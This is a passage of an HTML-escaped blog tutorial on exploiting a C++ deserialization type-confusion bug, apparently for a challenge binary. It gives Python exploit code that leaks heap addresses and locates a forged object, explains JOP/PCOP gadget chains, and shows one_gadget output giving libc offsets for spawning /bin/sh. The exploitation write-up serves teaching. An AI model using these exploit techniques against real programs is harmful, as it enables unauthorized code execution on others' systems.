heap_addr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; u64&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;bytes_&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;For the sake of simplicity, we&#39;ll stick with the &lt;code&gt;cereal::base64::chars&lt;/code&gt; method.&lt;/p&gt;
&lt;h3 id=&quot;finding-congees-address&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/arbitrary-code-execution-for-breakfast/#finding-congees-address&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Finding Congee&#39;s Address&lt;/h3&gt;
&lt;p&gt;By observation, &lt;code&gt;Congee&lt;/code&gt;’s address remains unchanged between iterations. This means if we know the address of Congee this iteration, we can reuse that address next iteration.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Notice how the address of the Congee object (c) is consistent across repeated deserializations.&quot; href=&quot;https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_congee_address_unchanged-1870w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100&quot; src=&quot;https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_congee_address_unchanged-1870w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1870 / 1328&quot; alt=&quot;Notice how the address of the Congee object (c) is consistent across repeated deserializations.&quot; title=&quot;Notice how the address of the Congee object (c) is consistent across repeated deserializations.&quot; srcset=&quot;https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_congee_address_unchanged-256w.webp 256w, https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_congee_address_unchanged-512w.webp 512w, https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_congee_address_unchanged-1024w.webp 1024w, https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_congee_address_unchanged-1870w.webp 1870w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1870px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Interestingly, the offset of &lt;code&gt;c&lt;/code&gt; from the &lt;em&gt;heap&#39;s base address&lt;/em&gt; is constant, and we can calculate it to be &lt;code&gt;+0x131c0&lt;/code&gt;… at least locally.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_congee_heap_offset-1386w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100&quot; src=&quot;https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_congee_heap_offset-1386w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1386 / 230&quot; alt=&quot;&quot; title=&quot;&quot; srcset=&quot;https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_congee_heap_offset-256w.webp 256w, https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_congee_heap_offset-512w.webp 512w, https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_congee_heap_offset-1024w.webp 1024w, https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_congee_heap_offset-1386w.webp 1386w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1386px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h3 id=&quot;finding-congees-address-less-hacky-method&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/arbitrary-code-execution-for-breakfast/#finding-congees-address-less-hacky-method&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Finding Congee&#39;s Address: Less Hacky Method&lt;/h3&gt;
&lt;p&gt;Perhaps that seems too hacky or inelegant to some. What if the offset was random? That would likely be the case in a more complex C++ program, one with heaps of memory allocation and deallocation. In that case, I offer an alternative approach.&lt;/p&gt;
&lt;p&gt;We can use the bytes in &lt;code&gt;Congee&lt;/code&gt; to store a canary/needle— some kind of fixed string or pattern. Using our leaked heap address as a reference, we&#39;ll perform a giant memory read (e.g. &lt;code&gt;0x1000&lt;/code&gt; bytes) and look for the needle.&lt;/p&gt;
&lt;p&gt;In the following code, we&#39;ll look for the fixed pattern &lt;code&gt;ABCD&lt;/code&gt; (&lt;code&gt;0x41424344&lt;/code&gt;) in Congee.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Find a heap address&lt;/span&gt;
base64_chars_addr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; vtable_addr &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; e&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sym&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;_ZN6cereal6base64L5charsE&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; e&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sym&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;_ZN5Toast3eatEv&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
bytes_ &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; send_json&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;mem_read_json &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;base64_chars_addr&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
heap_addr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; u64&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;bytes_&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&#39;&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;heap_addr&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token format-spec&quot;&gt;#x&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Find the Congee chunk&lt;/span&gt;
length&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; needle &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x1000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x41424344&lt;/span&gt;
bytes_ &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; send_json&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;mem_read_json &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;heap_addr&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; length&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; needle&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;bytes_&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; length&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&#39;expected to read &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;length&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt; bytes&#39;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; p64&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;needle&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; bytes_&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;unable to find needle in the haystack, maybe try a larger search length?&#39;&lt;/span&gt;
found_addr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; heap_addr &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; bytes_&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;index&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;p64&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;needle&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;16&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&#39;FOUND THE CONGEE CHUNK! - &lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;found_addr&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token format-spec&quot;&gt;#x&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h2 id=&quot;arbitrary-code-execution-ace-via-gadget-chains&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/arbitrary-code-execution-for-breakfast/#arbitrary-code-execution-ace-via-gadget-chains&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Arbitrary Code Execution (ACE) via Gadget Chains&lt;/h2&gt;
&lt;p&gt;We finally have enough information to get code execution! To do so, we will construct a gadget chain in &lt;code&gt;Congee&lt;/code&gt; and craft the payload such that the virtual function call &lt;code&gt;t-&amp;gt;eat()&lt;/code&gt; will trigger the chain.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_virtual_function_call-1035w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-80 alpha-imgv&quot; src=&quot;https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_virtual_function_call-1035w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1035 / 485&quot; alt=&quot;&quot; title=&quot;&quot; srcset=&quot;https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_virtual_function_call-256w.webp 256w, https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_virtual_function_call-512w.webp 512w, https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_virtual_function_call-1024w.webp 1024w, https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_virtual_function_call-1035w.webp 1035w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1035px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;1) When &lt;code&gt;toast-&amp;gt;eat()&lt;/code&gt; is called, the vtable is looked up. Due to type confusion, it actually uses a vpointer we control. 2) We control the vpointer to point to a vtable within the same &lt;code&gt;Congee&lt;/code&gt; payload. The vtable contains a gadget which is called.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Essentially, by controlling the vpointer and vtable, we control the virtual function being called. But how do we craft a malicious function? The answer lies in gadgets.&lt;/p&gt;
&lt;h3 id=&quot;pcop-jop&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/arbitrary-code-execution-for-breakfast/#pcop-jop&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; PCOP / JOP&lt;/h3&gt;
&lt;p&gt;Classic ROP gadgets end in &lt;code&gt;ret&lt;/code&gt;. Upon hitting the &lt;code&gt;ret&lt;/code&gt;, the Instruction Pointer is set to the next item on the stack. Hence, gadgets could be chained by writing a block of memory to the stack.&lt;/p&gt;
&lt;p&gt;PCOP/JOP is similar, but end in different instructions.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PCOP (Pure Call Oriented Programming): ends in &lt;code&gt;call SOMETHING&lt;/code&gt; which &lt;strong&gt;directly jumps&lt;/strong&gt; to the next gadget&lt;/li&gt;
&lt;li&gt;JOP (Jump Oriented Programming): ends in a &lt;code&gt;jmp&lt;/code&gt;/&lt;code&gt;call&lt;/code&gt; which jumps to a &lt;strong&gt;dispatcher&lt;/strong&gt;, before jumping into a table of gadgets. The dispatcher&#39;s job is to increment a &amp;quot;gadget pointer&amp;quot; before jumping to the next gadget. &lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/arbitrary-code-execution-for-breakfast/#fn1&quot; id=&quot;fnref1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-asm&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-asm&quot;&gt;dispatch:
  add rax&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;8&lt;/span&gt;
  jmp &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;rax&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Assembly&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The advantage of PCOP/JOP is that they don&#39;t rely on the stack, preferring instructions such as &lt;code&gt;mov&lt;/code&gt; and &lt;code&gt;call&lt;/code&gt; over stack-based instructions such as &lt;code&gt;pop&lt;/code&gt; and &lt;code&gt;ret&lt;/code&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;ROP Gadget: &lt;code&gt;pop rax; ret&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;PCOP/JOP Gadget: &lt;code&gt;mov rax, [rdi+8]; call [rax+0x10]&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;approach-1-libstdc-and-one-gadget&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/arbitrary-code-execution-for-breakfast/#approach-1-libstdc-and-one-gadget&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Approach 1: libstdc++ &amp;amp; One-Gadget&lt;/h3&gt;
&lt;p&gt;Funnily enough, this was the first working solution I came up with— and it&#39;s also the shortest payload I&#39;ve seen so far (4 quads!).&lt;/p&gt;
&lt;p&gt;A &lt;strong&gt;One-Gadget&lt;/strong&gt; is a gadget which pops a shell if certain conditions are met. We can find these gadgets using the &lt;a href=&quot;https://github.com/david942j/one_gadget&quot;&gt;&lt;code&gt;one_gadget&lt;/code&gt; tool&lt;/a&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-output=&quot;2-100&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;one_gadget &lt;span class=&quot;token parameter variable&quot;&gt;-f&lt;/span&gt; /usr/lib/x86_64-linux-gnu/libc.so.6&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;0x583ec posix_spawn(rsp+0xc, &quot;/bin/sh&quot;, 0, rbx, rsp+0x50, environ)&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;constraints:&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;  address rsp+0x68 is writable&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;  rsp &amp;amp; 0xf == 0&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;  rax == NULL || {&quot;sh&quot;, rax, rip+0x17301e, r12, ...} is a valid argv&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;  rbx == NULL || (u16)[rbx] == NULL&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;0x583f3 posix_spawn(rsp+0xc, &quot;/bin/sh&quot;, 0, rbx, rsp+0x50, environ)&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;constraints:&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;  address rsp+0x68 is writable&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;  rsp &amp;amp; 0xf == 0&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;  rcx == NULL || {rcx, rax, rip+0x17301e, r12, ...} is a valid argv&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;  rbx == NULL || (u16)[rbx] == NULL&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;0xef4ce execve(&quot;/bin/sh&quot;, rbp-0x50, r12)&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;constraints:&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;  address rbp-0x48 is writable&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;  rbx == NULL || {&quot;/bin/sh&quot;, rbx, NULL} is a valid argv&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;  [r12] == NULL || r12 == NULL || r12 is a valid envp&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;0xef52b execve(&quot;/bin/sh&quot;, rbp-0x50, [rbp-0x78])&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;constraints:&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;  address rbp-0x50 is writable&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;  rax == NULL || {&quot;/bin/sh&quot;, rax, NULL} is a valid argv&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;  [[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Shell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Looks like we found 4 one-gadgets. Each gadget lists the offset along with the constraints required to successfully trigger a shell. But to satisfy the constraints, we should first understand the state of the registers &lt;strong&gt;at the moment the virtual function is called&lt;/strong&gt;. This calls for some breakpoints!&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Disassembly and registers upon reaching Toast::eat(). Notice the register states of rax, rdi, rsi, and r13. These will be useful when hunting for gadgets.&quot; href=&quot;https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_navigate_to_toast_eat_see_regs-2738w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100&quot; src=&quot;https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_navigate_to_toast_eat_see_regs-2738w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 2738 / 1188&quot; alt=&quot;Disassembly and registers upon reaching Toast::eat(). Notice the register states of rax, rdi, rsi, and r13. These will be useful when hunting for gadgets.&quot; title=&quot;Disassembly and registers upon reaching Toast::eat(). Notice the register states of rax, rdi, rsi, and r13. These will be useful when hunting for gadgets.&quot; srcset=&quot;https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_navigate_to_toast_eat_see_regs-256w.webp 256w, https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_navigate_to_toast_eat_see_regs-512w.webp 512w, https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_navigate_to_toast_eat_see_regs-1024w.webp 1024w, https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_navigate_to_toast_eat_see_regs-2738w.webp 2738w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 2738px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Disassembly and registers upon reaching &lt;code&gt;Toast::eat()&lt;/code&gt;, reachable via &lt;code&gt;b *main+1121; si&lt;/code&gt;.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;By navigating to &lt;code&gt;Toast::eat()&lt;/code&gt;, we notice the following interesting register states:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;rax == rdi&lt;/code&gt;: non-controllable, address of virtual object (&lt;code&gt;&amp;amp;*t&lt;/code&gt;)
&lt;a class=&quot;lightbox-single&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_address_of_t-1016w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-60&quot; src=&quot;https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_address_of_t-1016w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1016 / 288&quot; alt=&quot;&quot; title=&quot;&quot; srcset=&quot;https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_address_of_t-256w.webp 256w, https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_address_of_t-512w.webp 512w, https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_address_of_t-1016w.webp 1016w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 1016px&quot; /&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rdx&lt;/code&gt;: controllable, first address to jump to&lt;/li&gt;
&lt;li&gt;&lt;code&gt;rsi == r13 == 0&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Our attention then turns to fulfilling the one-gadget constraints. I decided to look for gadgets supporting the third one-gadget (offset &lt;code&gt;0xef4ce&lt;/code&gt;) due to the relatively simple conditions: we just need &lt;code&gt;rbx = r12 = 0&lt;/code&gt;. We can hunt for gadgets with tools such as &lt;a href=&quot;https://github.com/JonathanSalwan/ROPgadget&quot;&gt;&lt;code&gt;ROPgadget&lt;/code&gt;&lt;/a&gt; or &lt;a href=&quot;https://github.com/entropic-security/xgadget&quot;&gt;&lt;code&gt;xgadget&lt;/code&gt;&lt;/a&gt;. The gadgets we&#39;re looking for should:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Overwrite (or provide some control over) the desired registers.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;call&lt;/code&gt; instruction of each gadget should jump to a controllable location, such as an offset within &lt;code&gt;Congee&lt;/code&gt;— &lt;code&gt;call [rax+0x10]&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;We should also &lt;em&gt;exclude&lt;/em&gt; gadgets relying on the stack. This means any gadget containing &lt;code&gt;pop&lt;/code&gt;, &lt;code&gt;leave&lt;/code&gt;, and &lt;code&gt;ret&lt;/code&gt;.&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/arbitrary-code-execution-for-breakfast/#fn2&quot; id=&quot;fnref2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_finding_r12-1658w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100&quot; src=&quot;https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_finding_r12-1658w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1658 / 454&quot; alt=&quot;&quot; title=&quot;&quot; srcset=&quot;https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_finding_r12-256w.webp 256w, https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_finding_r12-512w.webp 512w, https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_finding_r12-1024w.webp 1024w, https://trebledj.me/img/posts/infosec/cpp-deserialization/assets/breakfast_finding_r12-1658w.webp 1658w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 1658px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
